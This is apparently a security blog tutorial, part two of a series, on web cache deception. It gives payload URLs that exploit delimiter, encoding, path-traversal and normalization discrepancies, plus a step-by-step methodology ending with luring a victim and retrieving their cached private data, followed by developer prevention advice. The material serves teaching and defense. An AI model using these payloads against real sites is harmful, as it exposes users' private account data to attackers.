Post cover image

September 26, 2026

Web Cache Deception Part 2: Advanced Bypass Techniques

By // l1m1nal_3ntr0py

By // l1m1nal_3ntr0py

4 min read

Part 2 of 2 — Read Part 1 first

Part 1 covered the basics — appending static extensions and exploiting path mapping. Part 2 goes deeper — delimiter discrepancies, normalization attacks, and encoded bypass techniques that survive even hardened configurations.

Delimiter Discrepancies

A delimiter is a character that separates parts of a URL. Different frameworks treat the same characters as delimiters differently — and that inconsistency is exploitable.

Standard URL delimiters:
? → separates path from query string
# → separates URL from fragment
/ → separates path segments

The discrepancy:

URL: /profile;foo.css
Java Spring:           Other frameworks:
; = delimiter          ; = regular character
sees /profile          sees /profile;foo.css
returns profile data   returns 404 or error

How to exploit:

Cache server: doesn't treat ; as delimiter
→ sees full path: /profile;foo.css
→ .css extension → CACHE IT!

Origin server: treats ; as delimiter
→ sees only: /profile
→ returns profile data
Result: cache stores profile data at /profile;foo.css!

Ruby on Rails — dot delimiter:

Rails treats . as a format specifier. /profile.css tells Rails to return CSS format — which doesn't exist, so it errors.

Bypass: Use an extension Rails doesn't recognise:

/profile.ico  → Rails: unknown format → ignores → returns /profile
Cache: .ico = static → CACHE IT!

OpenLightSpeed — encoded delimiters:

Some servers treat URL-encoded characters as delimiters:

%00 → null byte delimiter
%23 → # (encoded hash)
%3f → ? (encoded question mark)
/profile%00foo.css
/profile%23foo.css
/profile%3ffoo.css

How to Find Delimiter Discrepancies — Step by Step

Step 1 — Find a valid dynamic endpoint:

GET /settings/users/list → returns user data ✅

Step 2 — Test if extra path segments are ignored:

GET /settings/users/listaaaa
→ Same response? → origin ignores extra segments ✅
→ Different response? → find another endpoint

Step 3 — Test delimiter candidates:

GET /settings/users/list;aaa
→ Same response as /settings/users/list?
→ YES → origin treats ; as delimiter! ✅

Step 4 — Test if cache uses the delimiter:

GET /settings/users/list;aaa.css
→ X-Cache: miss first request
→ X-Cache: hit second request
→ Cache doesn't treat ; as delimiter → STORES IT! ✅

Step 5 — Exploit:

Victim visits /settings/users/list;aaa.css (authenticated)
Cache stores their data
Attacker retrieves /settings/users/list;aaa.css (unauthenticated)
Gets victim's data! 💀

Browser encoding issue:

Browsers automatically URL-encode some characters before sending requests. If your delimiter gets encoded, the attack breaks.

Characters browsers encode: { } < > and others
Characters browsers leave alone: ; . % (usually)
If using a character that gets encoded:
→ Pre-encode it yourself before sending via Burp
→ Browser decodes it → arrives at server in natural form

Delimiter Decoding Discrepancies

A related attack where encoding creates the discrepancy instead of the delimiter itself.

The attack:

URL: /myaccount%3fwcd.css
Cache:
→ Sees /myaccount%3fwcd.css
→ .css extension → CACHE IT!
→ Stores response at this key
Origin server:
→ Decodes %3f → ?
→ Sees /myaccount?wcd.css
→ ? separates path from query
→ Path = /myaccount
→ Returns account data!
Result: account data stored in cache!

The key insight — the cache sees the encoded URL while the origin server decodes it first. They end up processing different paths from the same input.

Exploiting Static Directory Cache Rules — Path Traversal in Caches

Some caches only store responses for paths starting with specific directory prefixes:

Cache rule: store everything under /static/ /assets/ /scripts/

The exploit — use path traversal to fake the prefix:

/static/..%2fprofile

Why encode ../ as ..%2f?

Browsers normalise ../ automatically. /static/../profile becomes /profile before it even reaches the server — the static prefix disappears.

Encoding prevents browser normalisation:

Browser receives: /static/..%2fprofile
Browser sends: /static/..%2fprofile (doesn't normalise encoded /)
Cache sees: /static/..%2fprofile → starts with /static → CACHE IT!
Origin decodes: /static/../profile → normalises to /profile → returns data

Confirming the cache rule type:

First — confirm the cache isn't normalising paths itself:

GET /aaa/..%2fassets/js/stockCheck.js
→ Response no longer cached → cache doesn't normalise ✅ (good for attack)
→ Response still cached → cache normalises the path ❌

Second — confirm the rule is prefix-based not extension-based:

GET /assets/aaa (no extension)
→ Still cached → rule is PREFIX based ✅
→ Not cached → rule is EXTENSION based

Normalization Discrepancies — Two Attack Directions

Attack Direction 1 — Origin Normalises, Cache Does Not

Origin resolves ../ → Cache doesn't
Payload: /assets/..%2fprofile
Cache: sees /assets/..%2fprofile → /assets prefix → CACHE IT!
Origin: decodes → /assets/../profile → normalises → /profile → returns data

Attack Direction 2 — Cache Normalises, Origin Does Not

More complex. Requires combining with a delimiter discrepancy.

Origin uses ; as delimiter but doesn't normalise
Cache normalises but doesn't use ; as delimiter
Payload: /profile;%2f%2e%2e%2fstatic
Cache: normalises → /static → static prefix → CACHE IT!
Origin: ; = delimiter → sees /profile → returns profile data

Important — encode EVERYTHING except the first slash:

/profile;%2f%2e%2e%2fstatic
         ↑ everything after / is encoded
         %2f = /
         %2e%2e = ..

Exploiting Filename Cache Rules

Some caches store specific filenames regardless of directory:

robots.txt → always cached
favicon.ico → always cached
index.html → always cached

Same technique — path traversal to reach these filenames:

/profile/..%2frobots.txt
→ Cache: filename is robots.txt → CACHE IT! ✅
→ Origin: normalises → /profile → returns profile data ✅

Complete Attack Methodology

Phase 1: Reconnaissance
→ Identify cache technology (X-Cache header, server headers)
→ Map all dynamic endpoints with sensitive data
→ Identify cache rules (extensions, prefixes, filenames)

Phase 2: Test discrepancies
→ Static extension appending (.js .css .ico)
→ Path segment appending (/abc.js)
→ Delimiter testing (; . %00 %23 %3f)
→ Path traversal with encoding (..%2f)

Phase 3: Confirm caching
→ Send request twice - check X-Cache
→ Verify unauthenticated request returns cached data

Phase 4: Exploit
→ Craft final payload URL
→ Deliver to victim (phishing, XSS, CSRF)
→ Retrieve cached sensitive data

Tools:
→ Burp Param Miner → Add dynamic cachebuster
→ Web Cache Deception Scanner BApp
→ Burp Repeater for manual testing

Prevention

For developers:

→ Always include Cache-Control: no-store
  on responses containing sensitive data
→ Validate the full URL path strictly
  Don't ignore extra segments or delimiters
→ Use consistent URL parsing across all
  components (cache, origin, CDN)
→ Configure cache rules based on
  Content-Type not URL patterns
→ Set Vary header to include Cookie
  so cached responses are user-specific
Quick fix header:
Cache-Control: no-store, private

Summary

PART 1 TECHNIQUES:
→ Static extension appending (/profile.js)
→ Path mapping discrepancies (/profile/abc.css)
PART 2 TECHNIQUES:
→ Delimiter discrepancies (; . %00)
→ Encoded delimiter attacks (%3f %23)
→ Path traversal cache bypass (..%2f)
→ Normalization discrepancies
→ Filename cache rules (robots.txt)
DETECTION:
→ X-Cache header
→ Param Miner cachebuster
→ Web Cache Deception Scanner BApp
→ Send twice: miss then hit = vulnerable
PREVENTION:
→ Cache-Control: no-store on sensitive endpoints
→ Consistent URL parsing across all components
→ Content-Type based caching not URL patterns

Written by // l1m1nal_3ntr0py

← Read Part 1